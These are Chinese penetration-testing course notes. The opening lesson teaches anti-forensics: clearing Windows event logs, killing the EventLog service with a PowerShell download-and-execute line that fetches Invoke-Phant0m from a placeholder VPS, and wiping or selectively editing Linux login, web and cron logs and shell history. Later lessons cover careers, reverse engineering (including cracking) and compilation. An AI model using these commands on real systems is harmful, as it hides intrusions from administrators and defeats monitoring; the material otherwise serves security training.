在本节课中，我们将学习渗透测试的最后关键一步：清除在目标系统上留下的操作痕迹。无论是Windows还是Linux系统，我们的敏感操作（如远程登录、添加用户、执行命令等）都可能被系统日志记录。如果这些日志被管理员发现，将直接暴露我们的存在和行动。因此，学习如何有效地清除或规避这些日志记录至关重要。

为什么要清除痕迹？🔍

在渗透测试过程中，我们所做的远程登录、添加用户、执行敏感命令、调用系统进程和服务等操作，都会在操作系统上留下日志（前提是系统已开启日志服务，如Windows Server通常默认开启）。管理员可以利用这些日志追踪到攻击者。因此，在测试的最后阶段，我们需要清除这些日志痕迹。

需要注意的是，许多企业网络部署了专门的日志服务器或流控设备，其日志我们通常无法直接访问和清除。在这种情况下，避免留下痕迹最有效的方法是使用代理隐藏真实IP。本节课主要讲解如何从操作系统层面清除本地日志文件。

Windows 日志清除 🪟

上一节我们了解了清除痕迹的必要性，本节中我们来看看如何在Windows系统中操作。

Windows 日志查看方法

Windows日志可以通过以下两种方式查看：

  1. 右键点击“此电脑”或“开始”菜单，选择“管理”，打开“计算机管理”窗口，在左侧找到“事件查看器”。
  2. 按下 Win + R 打开运行窗口，输入 eventvwr.msc 命令，直接打开事件查看器。

在事件查看器中，“Windows日志”目录下保存了系统的主要日志信息。

Windows 日志存储与配置

Windows日志主要存储在两个位置：

  1. 本地文件：通常位于系统安装目录下的 C:\Windows\System32\winevt\Logs\。
  2. 注册表：部分日志信息也存储在注册表中。

Windows Server默认可能未开启所有日志审核策略。可以通过以下路径开启和配置：

  • 路径：管理工具 -> 本地安全策略 -> 本地策略 -> 审核策略。
  • 操作：在此可以设置审核登录事件、对象访问等，选择记录“成功”和/或“失败”的尝试。

在事件查看器中，可以右键点击具体日志（如“安全”），选择“属性”，来配置日志文件的最大大小和存储路径。

Windows 日志分类

Windows日志主要包含五大类：

  • 应用程序（Application）：记录应用程序运行相关的事件。
  • 安全（Security）：记录与安全相关的事件，如用户登录/注销、对象访问、权限使用等。这是渗透测试中最需要关注的日志。
  • 系统（System）：记录系统组件（如驱动程序）的事件，如崩溃、错误。
  • 安装程序（Setup）
  • 转发事件（Forwarded Events）

使用 wevtutil 工具清除日志

Windows系统自带 wevtutil.exe 工具，可用于管理事件日志。清除日志是其核心功能之一。

基本语法与常用命令：

# 查看工具帮助
wevtutil

# 列出所有日志名称
wevtutil el

# 查询“安全”日志最近10条记录（/rd:true 表示从最新开始）
wevtutil qe Security /rd:true /c:10 /f:text

# 清除指定日志（需要管理员权限）
wevtutil cl Security  # 清除安全日志
wevtutil cl System    # 清除系统日志
wevtutil cl Application # 清除应用程序日志

cl 是 clear 的缩写，后接日志名称即可清除对应日志。

使用 Meterpreter 清除日志

在Meterpreter会话中，可以使用专用命令快速清除关键日志。

常用命令：

# 清除事件日志（安全、系统、应用程序）
clearev

# 或使用 run 命令模块
run event_manager -c  # -c 参数表示清除所有日志

执行这些命令同样需要已获取管理员权限。

渗透测试收尾工作

在完成渗透测试准备撤离时，建议按顺序执行以下清理操作：

  1. 删除添加的账号：
    net username /delete
  2. 删除上传的工具或后门文件：手动或使用命令删除渗透过程中上传的所有文件。
  3. 关闭 Meterpreter 会话：在攻击机上关闭所有活跃会话，避免在目标机留下持续连接进程。
    sessions -K

高级技巧：禁用日志服务

直接清除全部日志可能引起怀疑。更隐蔽的方法是临时禁用Windows事件日志服务。

方法一：使用 PowerShell 脚本
可以从GitHub获取并运行相关PowerShell脚本，通过内存加载方式绕过杀软，远程关闭日志服务。

# 示例：远程加载并执行脚本（需将 IP 替换为你的服务器地址）
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://your-vps-ip/tools/Invoke-Phant0m.ps1'); Invoke-Phant0m"

该脚本会终止事件日志服务（EventLog）的相关线程，使其停止记录。

方法二：手动结束日志服务进程

  1. 打开任务管理器，切换到“服务”标签页。
  2. 找到“EventLog（事件日志）”服务，右键“转到详细信息”。
  3. 在“详细信息”标签页中，右键对应进程（通常是 svchost.exe），选择“结束任务”。注意：结束前请确认该进程下主要运行的是日志服务，误结束可能造成系统不稳定。

禁用服务后，系统将暂时无法记录新日志。测试完成后，重启系统服务会自动恢复。

Linux 日志清除 🐧

上一节我们介绍了Windows系统的痕迹清除，本节我们转向Linux系统。Linux的日志文件通常集中在 /var/log/ 目录下。

登录相关日志

Linux中，登录和认证相关的日志非常重要，主要涉及以下命令和文件：

以下是关键的命令和日志文件：

  • last：查看 /var/log/wtmp 文件，显示所有成功登录/登出的历史记录。
  • lastb：查看 /var/log/btmp 文件，显示所有失败的登录尝试记录。
  • lastlog：查看 /var/log/lastlog 文件，显示每个用户最近的登录信息。
  • who 或 w：查看当前登录系统的用户信息。

清除方法：
这些日志文件是二进制格式，无法直接编辑。需要管理员权限将其清空或删除。

# 清空登录日志文件（使用空文件覆盖）
> /var/log/wtmp
> /var/log/btmp
> /var/log/lastlog

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_58.png)

# 或直接删除文件（系统可能会自动重建）
rm /var/log/wtmp /var/log/btmp /var/log/lastlog

Web 访问日志

如果渗透目标是一个Web服务器，那么需要清理Web服务（如Apache、Nginx）的访问日志，其中可能记录了你访问Webshell的请求。

日志文件通常位于：

  • Apache: /var/log/apache2/access.log 或 /var/log/httpd/access_log
  • Nginx: /var/log/nginx/access.log

清除方法：

  1. 删除整个日志文件（最简单，但最易被发现）：
    > /var/log/apache2/access.log
  2. 只删除包含特定字符串（如你的IP或Webshell文件名）的行（更隐蔽）：
    # 使用 grep -v 反向选择，剔除包含“shell.php”的行，然后重写回日志
grep -v "shell\.php" /var/log/apache2/access.log > /tmp/clean_log && mv /tmp/clean_log /var/log/apache2/access.log

# 使用 sed 命令直接编辑文件，删除包含特定IP（如192.168.1.123）的行
sed -i '/192\.168\.1\.123/d' /var/log/apache2/access.log
    • grep -v：输出不匹配模式的所有行。
    • sed -i：直接修改文件。/pattern/d 表示删除匹配该模式的行。

其他系统日志

定时任务日志（/var/log/cron）：
如果利用了定时任务（cron）进行持久化，需要清理此日志。

# 查看日志
cat /var/log/cron
# 或 tail -f /var/log/cron

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_70.png)

# 使用sed删除包含特定命令（如bash反弹shell）的行
sed -i '/bash.*-i.*>&/d' /var/log/cron

安全日志（/var/log/secure 或 /var/log/auth.log）：
此日志记录认证和授权信息，如SSH登录、sudo提权、用户添加等操作。

# 查看日志
cat /var/log/secure

# 清空或删除
> /var/log/secure
# 或使用sed删除特定行

软件包安装日志（/var/log/apt/ 或 yum.log）：
如果安装了软件，这里会有记录。

# 清理APT历史
> /var/log/apt/history.log

操作历史记录（history）

Bash会记录用户执行的命令历史，这是非常关键的痕迹。历史记录默认保存在用户家目录的 .bash_history 隐藏文件中。

查看与清除方法：

# 查看当前会话的历史命令
history

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_80.png)

# 清空当前会话的内存中的历史记录（但未写入文件）
history -c

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_82.png)

# 将当前历史记录写入 .bash_history 文件
history -w

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_84.png)

# 彻底清除：先清空内存，再将空记录写入文件
history -c && history -w

# 或者直接清空历史记录文件
> ~/.bash_history

删除指定历史记录行：

# 删除历史记录中第105行
history -d 105
# 注意：这仅操作内存，需再执行 history -w 写入文件

无痕模式（临时禁用历史记录）：
在执行敏感操作前，可以临时关闭历史记录功能。

# 关闭当前会话的历史记录
set +o history

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_88.png)

# ... 执行你的敏感命令 ...

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_90.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_92.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/42f55880bd5368bca007f165518b0feb_94.png)

# 重新开启历史记录
set -o history

总结与回顾 📚

本节课我们一起学习了渗透测试中痕迹清除的核心知识。

  • 在Windows系统中，我们了解了日志的存储位置和分类，重点学习了使用 wevtutil 命令行工具和Meterpreter的 clearev 命令来清除安全、系统和应用程序日志。同时，也探讨了通过PowerShell脚本或手动停止服务来禁用日志记录的更隐蔽方法。
  • 在Linux系统中，我们学习了如何定位和清除关键的日志文件，包括登录日志（wtmp, btmp）、Web访问日志、定时任务日志、安全日志以及最重要的用户操作历史（.bash_history）。我们掌握了使用 > 重定向清空文件，以及使用 grep -v 和 sed -i 命令选择性删除日志行的技巧。

请记住，痕迹清除是渗透测试的最后一步，目的是为了隐匿行踪，但它并非万能。面对集中式日志审计系统，最有效的防御依然是使用代理、跳板机等技术隐藏真实攻击源。课后请务必在实验环境中练习这些命令，并整理成自己的笔记文档以备复习。

渗透测试技术日新月异，保持持续学习的态度是在这一行业立足的根本。

📚 课程P86：渗透测试课程总结与就业指导 🎯

在本节课中，我们将对渗透测试课程进行全面的总结，并探讨如何在未来的工作中持续学习，以及面试时可能遇到的问题。课程分为两个主要部分：第一部分由技术讲师讲解渗透测试的流程、风险、法律合规及后续学习建议；第二部分由就业指导老师讲解简历制作与面试技巧。

🛡️ 第一部分：渗透测试回顾与职业发展

上一节我们结束了技术性课程的学习。本节中，我们首先对渗透测试工作本身进行再次了解。

渗透测试是指安全专家根据已掌握的漏洞信息，模拟黑客的真实攻击方法，对系统和网络进行攻击测试。其核心是模拟黑客的攻击手段，找出客户信息系统中存在的缺陷和漏洞，提交报告并提供修复建议。黑客利用网络弱点进行入侵，渗透测试则模拟这一过程，使用攻击工具辅助，目标是发现安全问题并提供解决方案，而非进行非法获利。

⚠️ 渗透测试中的风险

在工作中，包括挖掘SRC时，需要关注以下风险：

  1. 工具测试可能影响运行系统：例如，使用AWVS等扫描器时，其高线程和流量可能将防护薄弱或维护不善的网站扫崩溃，从而影响客户正常业务，需承担相应责任。
  2. 敏感信息泄露：恶意泄露客户的网络拓扑、IP地址、业务流程、核心代码或个人隐私信息，将给客户造成经济损失，并需承担法律责任。
  3. 对测评结果的争议：挖掘的漏洞可能不被测试单位认可，产生争议。

以下是风险规避的方法：

  • 签署渗透测试协议和保密协议。
  • 实施过程讲究规范化。
  • 与甲方保持及时沟通与交流。

⚖️ 网络安全法须知

《网络安全法》已正式颁布实施。作为渗透测试工程师，属于依法负有网络安全监督管理职责的人员。在工作中知悉的个人信息、隐私和商业秘密必须严格保密，不得泄露、出售或非法向他人提供。违反相关规定将面临警告、高额罚款，甚至拘留、有期徒刑等法律处罚。务必谨记，即使获得授权，也不能为所欲为。

🔄 渗透测试整体流程回顾

整个课程已概括了渗透测试的完整流程，我们再来回顾一下：

  1. 前期交互：通常由销售或安全运营与甲方沟通协调，确定测试范围（如指定域名、IP、内网或外网测试）、渗透程度（能否提权、上传文件、进行内网渗透）、渗透时间（可能需在夜间进行以避免影响业务）、风险规避等。工程师只需简单了解。
  2. 信息收集：渗透测试成功的保障。信息收集的多少直接决定成功率。
  3. 漏洞探测：使用扫描器或手动方式探测系统漏洞、Web漏洞、中间件漏洞、端口服务漏洞、业务逻辑漏洞等。
  4. 渗透攻击：对发现的漏洞进行整理、验证，寻找攻击路径，尝试获取权限并扩大影响。
  5. 后渗透阶段：获取权限后，进行内网信息收集、横向移动、权限维持，并在测试结束后清理痕迹。
  6. 信息整理与报告编写：整理渗透过程、收集到的信息、漏洞详情（利用点、危害），形成渗透测试报告。报告需描述清晰，提供加固建议，让非技术人员也能看懂。

🎯 面试常见技术问题

面试通常由HR和技术人员参与。技术面试可能涵盖以下方面：

  • 信息收集：这是基础，回答不好可能直接导致面试失败。
  • 工具使用：如AWVS、SQLMap等基础工具，以及是否会用Python编写工具或爬虫。
  • 技术深度：对中间件、框架（如PHP）、漏洞原理（如反序列化）的了解。
  • 实战经验：是否有CTF比赛经验、SRC挖掘经历及排名。
  • 内网渗透：反弹Shell、提权方法、横向移动、域概念及Mimikatz、PowerShell等工具的理解与使用。

对于在校学生，如果不急于实习，建议通过挖掘SRC和参加CTF比赛来积累实战经验，以赛代练。

🏢 厂商渗透测试服务流程参考

不同安全公司的渗透测试服务流程大同小异，以长亭科技为例：

  1. 确定测试范围与签订授权。
  2. 信息收集（主机发现、端口扫描、系统识别等）。
  3. 制定测试方案，寻找并利用漏洞（中低危漏洞联合利用，高危漏洞直接深入）。
  4. 获取系统权限，记录过程，清除痕迹。
  5. 输出渗透测试报告，进行报告陈述与验收。

服务内容通常包括Web应用安全检测（OWASP Top 10）、服务安全检测、内网渗透测试、安全意识检测（如钓鱼演练），大型厂商还可能涉及移动安全、IoT安全检测及红蓝对抗演练。

📚 后续学习建议

技术更新迅速，必须坚持学习：

  1. 善用搜索引擎：推荐使用Google，对技术人员更友好。
  2. 常看技术论坛：推荐先知社区、FreeBuf。二进制方向可关注看雪、52破解。吐司论坛干货多但注册严格。
  3. 钻研漏洞原理：在会利用的基础上，尝试理解漏洞产生原理，这需要一定的代码基础。
  4. 不要放弃编程：至少掌握Python，用于编写自动化脚本、理解网络协议（爬虫、Socket编程）。逻辑思维和脚本能力至关重要。学习资源推荐菜鸟教程、慕课网等。
  5. 坚持实战：通过挖掘SRC和打CTF比赛来保持和提升技术敏锐度。

📝 第二部分：简历制作与面试技巧

上一部分我们回顾了技术要点，本节我们来看看如何准备求职，重点是简历制作和面试技巧。

✍️ 简历制作准则

简历的目标是：拒绝做路人、扬长避短、把握黄金十秒（HR筛选一份简历的平均时间）。

  • 版式：
    • 结构：从左到右，自上而下。
    • 篇幅：控制在一页纸内。
    • 字体：统一使用宋体，避免多种字体、斜体或下划线。
    • 突出重点：用加粗强调关键信息。
    • 留白：适当留白，不要写得太满。
  • 内容：
    • 个人信息（必填）：姓名、学历、电话（务必准确）、现住址、籍贯。
    • 求职意向：明确且有针对性。若海投，可写“网络安全等相关岗位”。
    • 教育背景：学校、专业、学历、相关培训。
    • 实习/项目经历：按时间倒序排列，突出内容与成果，优先写与网络安全相关的经历。
    • 专业技能：分点阐述，使用“熟悉”、“掌握”、“了解”等词汇。例如：“熟悉常见Web漏洞原理与利用”、“熟练使用AWVS、SQLMap等渗透测试工具”。
    • 奖励情况：行业相关比赛、证书，即使未获奖，参与经历也可写上。
    • 自我评价：结合职位特点，突出耐心、执着、学习能力等。

🛠️ 如何弥补简历劣势

  • 成绩不好：突出相关高分课程、实习经历、实践动手能力。
  • 无实习经历：突出社团/学生会经历、专业技能培训、快速学习能力和吃苦精神。
  • 专业不对口：突出兴趣、外语能力、个人技能及相关学习实践经历。

🎯 简历的针对性

针对心仪岗位的职位描述（JD）来调整简历，使技能点与JD要求高度匹配，这是最有效的优化方法。

📧 投递注意事项

  • 邮件命名：姓名+应聘岗位。
  • 邮箱：建议使用QQ邮箱以外的专业邮箱。
  • 附件：简历文件命名与邮件标题一致。
  • 正文：简短自我介绍，说明与职位的匹配度。
  • 投递时间：建议在早上8点前投递，更容易被HR第一时间看到。

💼 面试技巧

  • 面试准备：
    • 了解公司基本情况（行业、业务）。
    • 准备可能被问及的问题，尤其是简历上的每段经历。
    • 保持平常心，双向选择。
  • 面试中：
    • 注意礼貌，姿态端正，避免小动作，与面试官自然对视。
    • 自我介绍不要照念简历，简洁扼要。
    • 回答“优点/适合岗位”时，结合事实，紧扣职位要求。
    • 回答“缺点”时，谈一个真实的、但正在克服或已改善的缺点。
    • 职业规划：围绕公司业务和岗位设定切实可行的短期目标。
    • 谈薪资：
      • 提前在招聘网站查询该岗位的薪资范围。
      • 不必主动给出具体数字，也不必主动打听。
      • 被问及时，可根据薪资范围和个人期望，给出一个区间（如范围是6-10K，可报7-8K），留有谈判空间。

📄 常见面试问题举例

技术面试官可能从简历出发提问，常见问题包括：

  1. 描述渗透测试的完整流程。
  2. 文件上传漏洞的绕过思路有哪些？
  3. 简述内网渗透的基本步骤。
  4. 谈谈你对免杀新思路的理解。
  5. Linux应急响应常用的命令有哪些？

🎓 课程总结

在本节课中，我们一起学习了以下内容：

  1. 渗透测试核心：回顾了渗透测试的定义、流程、伴随的风险及重要的法律合规要求。
  2. 持续学习路径：明确了在快速迭代的安全领域，必须通过坚持复现漏洞、阅读技术论坛、钻研原理、掌握编程（特别是Python）以及参与SRC和CTF来保持竞争力。
  3. 求职准备：系统掌握了简历制作的准则、内容要点和优化方法，以及面试前后各个环节的实用技巧，包括如何应对常见问题和进行薪资谈判。

技术之路，贵在坚持。祝愿大家都能找到心仪的工作，在网络安全领域不断精进，实现自己的职业目标。

逆向工程入门教程（P87）🔍

概述

在本节课中，我们将学习逆向工程的基本概念、用途、常用技术以及基本分析流程。逆向工程是网络安全领域的重要技能，通过分析已编译的程序，理解其工作原理、发现漏洞或进行软件破解。

第一部分：认识逆向工程 🧩

逆向工程，又称软件反向工程（Software Reverse Engineering），是指从可运行的程序系统出发，运用解密、反汇编、系统分析、程序理解等多种计算机技术，对软件的结构、流程、代码等进行逆向拆解和分析，从而推导出软件产品的源代码、设计原理、结构、算法或特征。

通常，将软件进行反向分析的整个过程称作软件逆向工程。在整个过程中使用的技术，都称为软件逆向工程技术。

简单来说，逆向工程就是反向进行。从一个可执行程序出发，将其反向拆解，拆解出它的源代码。通过这个反向拆解的过程，分析出它的一些系统特征。

例如，打开一个可执行程序，点击执行后，程序会输出一些结果。但仅通过执行，我们并不清楚程序背后进行了什么操作。逆向工程就是通过反汇编等方法，来查看程序运行时到底执行了什么操作。

在CTF竞赛中，逆向工程涉及Windows、Linux、Android平台的多种编程技术。它要求利用常用工具，对源代码及二进制文件进行逆向分析，掌握加解密、内核编程、算法、反调试和代码混淆等技术。

加解密、内核编程、算法是软件设计时需要用到的功能。反调试和代码混淆则是软件开发者为了防止软件被逆向分析而加入的代码，目的是让逆向或调试变得更加困难。

第二部分：逆向工程的用途 🛠️

逆向工程主要有以下几个用途：

  1. 重现高级语言代码：通过分析已编译好的软件，用高级语言（如C语言）重现其源代码。很多时候我们只有二进制可执行文件，但需要反推出其高级源代码，这是逆向工程的一个重要作用。

    • 示例：一个简单的C语言文件 hello.c，内容为 printf("hello world");。编译后得到二进制文件 hello.out。逆向工程可以从 hello.out 反推出类似功能的C语言代码。

  2. 分析病毒：分析恶意程序，从中提取特征码，用于开发杀毒程序。例如，杀毒软件能识别恶意文件，就是因为它存储了病毒的特征码。

  3. 进行高级代码审计：在汇编层面进行代码审计。虽然汇编语言比高级语言更难理解，但有时能审计出通过高级语言看不到的安全问题。

  1. 制作或反制游戏外挂 / 破解软件：可以制作游戏外挂，绕过游戏限制；也可以用于反外挂。同时，常用于破解软件，例如找到软件验证激活码的逻辑并进行修改，从而在没有激活码的情况下使用软件。

  2. 分析挖掘嵌入式设备漏洞：随着物联网发展，嵌入式设备越来越多。通过逆向工程可以分析这些设备中的程序，挖掘其中的安全漏洞。

第三部分：逆向分析技术 🔬

逆向分析主要涉及静态分析和动态调试两种技术。

静态分析技术

静态分析是在不执行计算机程序的条件下，对代码进行分析，找出代码缺陷。

具体来说，一般是利用静态分析工具，将二进制的可执行文件翻译成汇编代码或C语言的伪代码。

  • 伪代码的含义：
    1. 从汇编代码反推C语言源代码不是唯一的。实现同一功能可能有多种不同的C语言写法，因此反推得到的代码称为“伪代码”。
    2. 静态分析工具按照一定规则进行翻译，其结果并非百分之百准确。虽然工具（如IDA Pro）在多数情况下正确，但有时仍需直接查看汇编代码以验证。

  • 静态分析的优点：
    1. 直接分析源代码：能够清晰地展示程序内部的汇编指令和执行流程。
    2. 覆盖所有执行路径：能够检测所有代码级别、可执行路径的组合，快速准确地从总体上把握程序结构。
    3. 安全性高：不需要执行程序，因此不会被恶意代码攻击。建议在虚拟机环境中进行逆向分析，以保护主机安全。

动态调试技术

动态调试与静态分析相对，是指在程序运行过程中进行跟踪和分析。

动态调试技术主要是观察程序运行过程中的状态，如寄存器内容、函数输入输出、内存使用情况等，通过这样来分析函数功能，明确代码逻辑。

进行动态调试时，需要重点关注两个“流”：

  • 代码流：程序按照什么顺序、什么分支来执行代码。动态运行可以判断真正执行的代码顺序。

  • 数据流：输入的数据在程序中如何流动、经过哪些运算和函数处理。

  • 动态调试的优点：

    1. 清晰判定执行流程：可以跟踪程序在分支处的实际选择，明确代码执行路径。
    2. 跟踪数据流向：例如，在破解需要用户名和密码的软件时，可以跟踪输入的用户名和密码在程序中的处理过程，分析其验证逻辑，从而找到破解方法。

第四部分：程序壳的概念 🐚

程序壳是一种反调试和代码混淆技术，用于保护软件不被轻易逆向分析。

所谓的“壳”，就是在程序外面包裹一层代码，就像动物的壳或商品的包装。其目的是保护内部代码不被正确反编译或非法修改，阻挠逆向分析。

加壳程序加载到内存时，通常是外壳部分先于原程序运行，取得控制权，然后对外壳内部压缩或加密的原程序进行解压或解密，最后再执行原程序。这个过程对用户是透明的。

  • 壳的分类：
    • 压缩壳：利用特殊算法对可执行文件进行压缩，执行时在内存中解压。如UPX、ASPack等。
    • 加密壳：对程序进行加密，技术难度和防护效果都更强。如VMProtect、Themida等。

加壳与脱壳是矛与盾的关系，两者技术都在不断进化。

第五部分：逆向分析基本流程 📋

进行逆向分析时，通常遵循以下基本流程：

  1. 初步信息收集：使用 StudyPE 或类似工具，初步了解程序的基本信息，如位数（32/64位）、MD5值、文件类型、是否加壳等。

  2. 静态分析：使用 IDA Pro 等工具进行静态反汇编分析，查看程序结构和关键代码。遇到不熟悉的算法时，可根据其特征在互联网（如谷歌、GitHub）上搜索，以快速识别算法类型。

  3. 绕过保护机制：程序可能采用代码混淆、保护壳、反调试等技术进行保护。需要找到相应的方法绕过这些机制。例如，反调试技术会检测程序是否被调试（如通过检测运行时间），一旦发现则可能终止程序或混淆代码。

  4. 定位关键代码：程序代码量可能很大，需要定位到进行核心计算、关键验证或重要跳转的代码区域，进行重点分析。

  5. 动态分析验证：使用调试器（如 x64dbg, OllyDbg）动态运行程序，验证静态分析得出的猜想，并观察代码流和数据流的实际变化。这是一个与静态分析反复迭代、相互印证的过程。

  6. 输出结果：根据逆向分析的目的，输出相应成果。可能是编写破解脚本、生成病毒分析报告，或是在CTF比赛中获取隐藏的Flag。

总结 🎯

本节课我们一起学习了逆向工程的基础知识。我们了解了逆向工程的定义、主要用途（代码重现、病毒分析、漏洞挖掘、软件破解等），以及核心的静态分析与动态调试技术。我们还认识了程序壳这种常见的保护手段，并梳理了进行逆向分析时从信息收集、静态分析、动态调试到最终输出的标准流程。

逆向工程是网络安全中一项实践性很强的技能，需要不断练习和积累经验。在接下来的课程中，我们将深入编译原理和汇编语言，为后续的实战分析打下坚实基础。

课程 P88：逆向工程 - 编译原理 🛠️

在本节课中，我们将学习 C 语言源代码是如何一步步转换为计算机可以执行的二进制程序的。这个过程是理解软件运行和逆向工程的基础。

概述 📖

我们编写的 C 语言源代码（如 printf("Hello World")）无法被计算机直接执行。计算机只能理解二进制指令。因此，源代码需要通过一系列步骤转换为可执行文件。这个过程主要分为四步：预处理、编译、汇编和链接。

第一步：预处理

上一节我们概述了编译的四个步骤，本节中我们首先来看第一步：预处理。预处理是编译过程的前期工作，主要处理源代码中的预处理指令。

在 Linux 系统下，我们可以使用 gcc 编译器进行演示。假设我们有一个名为 hello.c 的源文件。

使用以下命令进行预处理：

gcc -E hello.c -o hello.i

命令执行后，会生成一个 hello.i 文件。与原始的 hello.c 相比，这个文件内容变多了，但核心代码依然保留。

预处理具体完成以下五项工作：

以下是预处理阶段执行的主要任务：

  1. 头文件包含：处理 #include 指令，将被包含文件（如 stdio.h）的内容插入到源代码的相应位置。
  2. 宏替换：将代码中所有定义的宏（例如 #define PI 3.1415926）替换为其代表的值，并删除宏定义。
  3. 处理条件编译：根据条件编译指令（如 #ifdef, #ifndef），决定编译哪些代码块。
  4. 删除注释：移除源代码中所有的注释，因为注释对程序的执行没有作用。
  5. 保留 #pragma 指令：保留编译器指令，用于设定编译器的特定状态或行为。

经过预处理，我们得到了一个展开所有头文件、替换了宏、删除了注释的中间文件 hello.i。

第二步：编译

预处理完成后，接下来进入编译阶段。编译的任务是将预处理后的高级语言代码转换为更低级的汇编语言代码。

使用以下命令进行编译：

gcc -S hello.i -o hello.s -masm=intel

其中 -masm=intel 参数指定生成 Intel 格式的汇编代码（另一种常见格式是 AT&T）。执行后，会生成 hello.s 汇编文件。

编译过程对 hello.i 文件进行词法、语法和语义分析，最终生成对应的汇编代码。汇编代码比 C 语言更接近机器指令，但仍然是人类可读的文本形式。

例如，生成的 hello.s 文件内容可能包含以下部分：

    .section    .rodata
.LC0:
    .string "Hello World"
    .text
    .globl  main
    .type   main, @function
main:
    push    rbp
    mov     rbp, rsp
    ...
    ret
  • .section .rodata 定义只读数据段，存储字符串常量 "Hello World"。
  • .text 段存储可执行的代码。
  • main: 标签是主函数的入口点。
  • 后续的 push, mov 等是具体的汇编指令。

至此，我们得到了汇编语言文件 hello.s。

第三步：汇编

编译阶段生成了汇编代码，但计算机 CPU 最终执行的是二进制机器码。汇编阶段就是将汇编代码翻译成机器码。

使用以下命令进行汇编：

gcc -c hello.s -o hello.o

命令执行后，生成 hello.o 文件，这是一个目标文件。此时，文件内容已经是二进制格式，无法用文本编辑器正常查看。

我们可以使用 objdump 工具来查看其内容：

objdump -s -d hello.o

objdump 会将二进制内容以十六进制和反汇编的汇编指令形式显示出来，便于我们理解。

例如，输出中会显示：

Contents of section .rodata:
 0000 48656c6c 6f20576f 726c6400        Hello World.
...
Disassembly of section .text:
0000000000000000 <main>:
   0:   55                      push   %rbp
   1:   48 89 e5                mov    %rsp,%rbp
   ...

左边是机器码（十六进制表示），右边是对应的汇编指令。此时，printf("Hello World") 和 return 0 这两句 C 代码已经被翻译成了具体的机器指令。

第四步：链接

汇编阶段生成的目标文件（.o 文件）还不能独立运行。因为我们的程序通常调用了库函数（如 printf）或其他模块的代码。链接阶段的任务就是将多个目标文件以及所需的库文件合并，生成最终的可执行文件。

使用以下命令进行链接：

gcc hello.o -o hello.out

命令执行后，生成 hello.out 文件。这个文件拥有了可执行权限。

运行该程序：

./hello.out

终端将输出：

Hello World

至此，我们成功地将一个简单的 C 语言源代码 hello.c 转换成了可以执行的程序 hello.out。

总结 🎯

本节课我们一起学习了 C 语言程序从源代码到可执行文件的完整编译过程。这个过程包含四个核心步骤：

  1. 预处理：处理头文件、宏、条件编译和注释，生成 .i 文件。
  2. 编译：将预处理后的高级语言代码转换为汇编代码，生成 .s 文件。
  3. 汇编：将汇编代码转换为机器码，生成目标文件 .o。
  4. 链接：将目标文件与所需的库文件链接，生成最终的可执行文件。

理解这个过程是学习逆向工程、程序分析和系统安全的重要基础。通过手动执行每一步，我们可以更深入地洞察程序的构建原理。

逆向工程课程 P89：汇编语言基础 🧠

在本节课中，我们将学习计算机程序的编译全过程，并深入理解汇编语言的核心概念。汇编语言是连接高级语言与机器硬件的桥梁，掌握它对于理解程序底层运行机制至关重要。

编译过程详解 🔄

上一节我们介绍了逆向工程的基本概念，本节中我们来看看一个C语言程序是如何一步步变成计算机可执行的文件的。

整个编译过程可以分为四个主要步骤。

以下是编译过程的四个步骤：

  1. 预处理：处理源代码中的宏定义、条件编译指令和注释，生成一个.i文件。
  2. 编译：将预处理后的文件翻译成汇编代码，生成一个.s文件。
  3. 汇编：将汇编代码翻译成机器可以识别的二进制指令（目标文件），生成一个.o文件。
  4. 链接：将目标文件与所需的库文件进行链接，解决外部引用，最终生成可执行文件（如.out或.exe）。

使用GCC编译器时，可以通过gcc -save-temps参数保留所有中间文件，方便分析学习。使用gcc --verbose参数可以输出详细的编译流程信息。

理解编译过程是理解计算机程序本质的基础，也是进行逆向分析的前提。

三种编程语言 🗣️

理解了程序如何生成后，我们需要了解计算机能理解的“语言”。编程语言主要分为三个层次。

以下是三种编程语言及其特点：

  • 机器语言：由二进制0和1组成的指令，直接控制硬件电路的高低电平。它是计算机唯一能直接执行的语言，但极难阅读和编写。
  • 汇编语言：用助记符（如MOV, ADD）代替二进制操作码的低级语言。它比机器语言友好，但仍与特定的CPU架构（如x86, ARM）紧密相关。公式表示为：汇编指令 = 操作码助记符 + 操作数。
  • 高级语言：如C、Python、Java，语法接近人类自然语言或数学语言，与硬件平台无关。它们通过编译器或解释器转换为底层语言后执行，极大地提高了开发效率和程序可移植性。

这三种语言的关系是：越高级的语言对人类越友好，开发效率越高，但执行效率相对越低（需要更多转换步骤）；越低级的语言对机器越直接，执行效率越高，但开发难度越大。

汇编语言核心：寄存器 💾

汇编语言操作的核心对象是寄存器。寄存器是CPU内部的高速存储单元，访问速度远快于内存和硬盘。

寄存器主要分为以下几类。

以下是主要的寄存器类型及其功能：

  1. 通用寄存器：用于算术运算、逻辑运算和数据传输。
    • 数据寄存器：EAX（累加器）、EBX（基址寄存器）、ECX（计数器）、EDX（数据寄存器）。它们可以按32位、16位或8位来使用。
    • 指针变址寄存器：用于寻址。
      • EBP（基址指针）：指向当前栈帧的底部。
      • ESP（栈指针）：指向当前栈帧的顶部。
      • ESI（源变址寄存器）和EDI（目的变址寄存器）：常用于内存数据块传输。
  2. 段寄存器：如CS（代码段）、DS（数据段）、SS（堆栈段），在内存寻址中用于确定段的基地址。
  3. 指令指针寄存器：EIP，存储下一条将要执行指令的内存地址。程序顺序执行就是EIP自动增加；跳转、循环、函数调用等操作本质上就是修改EIP的值。
  4. 标志寄存器：EFLAGS，存储上一条指令执行后的状态信息（如是否为0、是否溢出、是否进位等）。条件跳转指令（如JE, JNE）就是通过检查这些标志位来决定是否跳转。

